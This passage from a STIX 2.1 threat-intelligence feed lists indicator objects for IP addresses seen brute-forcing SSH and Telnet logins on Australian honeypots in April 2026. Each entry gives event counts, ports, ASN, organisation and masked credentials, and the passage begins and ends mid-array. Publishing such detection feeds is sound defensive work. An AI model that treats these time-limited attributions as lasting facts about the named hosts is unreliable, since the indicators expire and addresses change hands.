    },
    {
      "created": "2026-04-29T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:15:10.000Z",
      "valid_until": "2026-05-31T09:15:08.000Z"
    },
    {
      "created": "2026-04-29T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--7a86390d-da38-4bb0-b38d-1e1e88dfa4cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.226.142.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:15:10.000Z",
      "valid_until": "2026-05-31T09:15:08.000Z"
    },
    {
      "created": "2026-04-29T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--12c38e3f-65f6-4661-a77d-93eb4441cd0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.81.8.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:15:10.000Z",
      "valid_until": "2026-05-31T09:15:08.000Z"
    },
    {
      "created": "2026-04-29T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--fa0ed349-90ec-4492-9b72-59804440d9e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.240.156.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:15:10.000Z",
      "valid_until": "2026-05-31T09:15:08.000Z"
    },
    {
      "created": "2026-04-29T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--d6b7796e-73a0-420b-b3f1-d1d545b32ba5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '169.224.32.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T10:15:10.000Z",
      "valid_until": "2026-05-31T10:15:08.000Z"
    },
    {
      "created": "2026-04-29T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--f0390d9e-5214-4b34-8da8-73b73b19f529",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.17.20.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T10:15:10.000Z",
      "valid_until": "2026-05-31T10:15:08.000Z"
    },
    {
      "created": "2026-04-29T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--8bb3732b-822c-45c2-8f24-64fc4bd71509",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T10:15:10.000Z",
      "valid_until": "2026-05-31T10:15:08.000Z"
    },
    {
      "created": "2026-04-29T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1501. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, d****y, u***1, s***m. Passwords observed (masked): 1****6, p******d, ***, 1******X, *.",
      "id": "indicator--6baffd0d-9e00-4f3a-9247-dc68bb5c6cc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T10:15:10.000Z",
      "valid_until": "2026-05-31T10:15:08.000Z"
    },
    {
      "created": "2026-04-29T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--7b33014d-6c4d-4834-84bc-5bf16888c3da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.194.247.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T10:15:10.000Z",
      "valid_until": "2026-05-31T10:15:08.000Z"
    },
    {
      "created": "2026-04-29T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--24becb4f-22af-4029-b6c5-e1887fb8828f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.155.48.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T11:15:05.000Z",
      "valid_until": "2026-05-31T11:15:03.000Z"
    },
    {
      "created": "2026-04-29T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): P******d.",
      "id": "indicator--a6fc7525-fdd5-49a8-9dd5-7c553fd98f10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.71.92.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T11:15:05.000Z",
      "valid_until": "2026-05-31T11:15:03.000Z"
    },
    {
      "created": "2026-04-29T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 62206. Organisation(s): Pitline Ltd.",
      "id": "indicator--f62ce08b-811b-4b88-8d8d-b12de206bf7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.9.29.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T11:15:05.000Z",
      "valid_until": "2026-05-31T11:15:03.000Z"
    },
    {
      "created": "2026-04-29T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TJ. ASN(s): 24722. Organisation(s): LLC Babilon-T.",
      "id": "indicator--0ad90cb8-5a0e-4330-b7b2-211f68508a1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.20.194.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T11:15:05.000Z",
      "valid_until": "2026-05-31T11:15:03.000Z"
    },
    {
      "created": "2026-04-29T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 132608. Organisation(s): Mango Teleservices Limited ISP.",
      "id": "indicator--69c7e911-6104-433e-98d7-1dc5e760cdd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.248.207.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:15:10.000Z",
      "valid_until": "2026-05-31T12:15:08.000Z"
    },
    {
      "created": "2026-04-29T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--85831903-988f-4e0d-8aaf-35f948247192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.148.204.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:15:10.000Z",
      "valid_until": "2026-05-31T12:15:08.000Z"
    },
    {
      "created": "2026-04-29T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 23956. Organisation(s): AmberIT Limited.",
      "id": "indicator--90f0aac3-33a0-4f6b-ba3b-085c0c593221",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.179.163.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:15:10.000Z",
      "valid_until": "2026-05-31T12:15:08.000Z"
    },
    {
      "created": "2026-04-29T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--3a71e7c8-c759-4bd7-9ac1-8d5b0845cd76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.76.202.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:15:10.000Z",
      "valid_until": "2026-05-31T12:15:08.000Z"
    },
    {
      "created": "2026-04-29T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 132510. Organisation(s): IDC ShanXi China Mobile communications corporation. Usernames observed (masked): u***2. Passwords observed (masked): a****a.",
      "id": "indicator--3c1a02e2-7898-4979-be94-bd403705e25d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.201.208.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:15:10.000Z",
      "valid_until": "2026-05-31T12:15:08.000Z"
    },
    {
      "created": "2026-04-29T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 39232. Organisation(s): Uninet LLC.",
      "id": "indicator--474d0c37-1870-4682-bee2-5f1c9a8582e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.114.148.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:15:10.000Z",
      "valid_until": "2026-05-31T12:15:08.000Z"
    },
    {
      "created": "2026-04-29T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): u****u, a***n, d******r, m*******t, u**r. Passwords observed (masked): 1***5, 1*******d, 1******r, 1******c, 3***********4.",
      "id": "indicator--30089ee8-4ce9-4d06-ba3c-3be5c09f0dfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.157.151.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:15:10.000Z",
      "valid_until": "2026-05-31T12:15:08.000Z"
    },
    {
      "created": "2026-04-29T13:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 133957. Organisation(s): SOL.",
      "id": "indicator--571d0a58-46a6-46c6-b507-225855bad4ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T13:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.49.203.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:15:28.000Z",
      "valid_until": "2026-05-31T13:15:08.000Z"
    },
    {
      "created": "2026-04-29T13:15:28.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134420. Organisation(s): Chongqing Telecom.",
      "id": "indicator--5523fe54-44b4-4a88-b910-b8d451a09f2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T13:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.250.184.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:15:28.000Z",
      "valid_until": "2026-05-31T13:15:08.000Z"
    },
    {
      "created": "2026-04-29T13:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--090cf218-728d-4278-be9c-225b6f438149",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T13:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.63.34.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:15:28.000Z",
      "valid_until": "2026-05-31T13:15:08.000Z"
    },
    {
      "created": "2026-04-29T13:15:28.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--fea4fb7e-953f-4ea4-bcf4-c702614089fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T13:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.68.106.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:15:28.000Z",
      "valid_until": "2026-05-31T13:15:08.000Z"
    },
    {
      "created": "2026-04-29T13:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 27895. Organisation(s): Nucleo S.A..",
      "id": "indicator--ec6be1b9-6094-4523-95f4-393778774cf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T13:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.94.227.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:15:28.000Z",
      "valid_until": "2026-05-31T13:15:08.000Z"
    },
    {
      "created": "2026-04-29T13:15:28.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): *, a***n, ***, o******i, r**t. Passwords observed (masked): , *, a***n, o******i, r**t.",
      "id": "indicator--a9992b3e-720d-4b3a-bd98-b29b7fd8fa3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T13:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.188.168.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:15:28.000Z",
      "valid_until": "2026-05-31T13:15:08.000Z"
    },
    {
      "created": "2026-04-29T13:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--9b8b8a9f-d5ad-4183-98d2-4fdccc5add39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T13:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.244.238.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:15:28.000Z",
      "valid_until": "2026-05-31T13:15:08.000Z"
    },
    {
      "created": "2026-04-29T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 139415. Organisation(s): PT Trinity Teknologi Nusantara.",
      "id": "indicator--6f682536-f96b-4f22-8905-cee298bc1480",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.143.195.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T14:15:11.000Z",
      "valid_until": "2026-05-31T14:15:08.000Z"
    },
    {
      "created": "2026-04-29T14:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): C*******************e, G************1. Passwords observed (masked): A*********************************************************************************************************************************************9, T********************3.",
      "id": "indicator--9908dcdd-2f01-4fd8-8d46-15db03100939",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.182.213.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T14:15:11.000Z",
      "valid_until": "2026-05-31T14:15:08.000Z"
    },
    {
      "created": "2026-04-29T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--c308ae73-8245-4634-918f-f7af99db1af7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.205.203.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T14:15:11.000Z",
      "valid_until": "2026-05-31T14:15:08.000Z"
    },
    {
      "created": "2026-04-29T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 31504. Organisation(s): Svt-com Ltd.",
      "id": "indicator--95752752-18a9-4cea-8a7e-fedc7c86cc0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.88.220.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T14:15:11.000Z",
      "valid_until": "2026-05-31T14:15:08.000Z"
    },
    {
      "created": "2026-04-29T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 8167. Organisation(s): V tal. Usernames observed (masked): p******s. Passwords observed (masked): q****e.",
      "id": "indicator--e30f1034-a651-4886-a0e7-29897e0eca91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.66.81.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T14:15:11.000Z",
      "valid_until": "2026-05-31T14:15:08.000Z"
    },
    {
      "created": "2026-04-29T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 9205. Organisation(s): SATELIT SERVIS Ltd.",
      "id": "indicator--21d7c19b-b9c8-4f61-b4a0-bc27d37ef9b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.76.241.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T14:15:11.000Z",
      "valid_until": "2026-05-31T14:15:08.000Z"
    },
    {
      "created": "2026-04-29T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 141329. Organisation(s): Udupi Fastnet Private Limited.",
      "id": "indicator--92a9f744-da3c-4f63-bb8b-5f9b3be2b134",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.50.21.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:15:11.000Z",
      "valid_until": "2026-05-31T15:15:08.000Z"
    },
    {
      "created": "2026-04-29T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 38835. Organisation(s): Buroserv Australia Pty Ltd.",
      "id": "indicator--33a7fccb-6a81-4a04-b607-800a4375a669",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.63.228.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:15:11.000Z",
      "valid_until": "2026-05-31T15:15:08.000Z"
    },
    {
      "created": "2026-04-29T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 263717. Organisation(s): SOL TELECOMUNICACIONES S.A..",
      "id": "indicator--9aa75ecf-1d3f-4914-b78d-70eef0757fdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.250.37.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
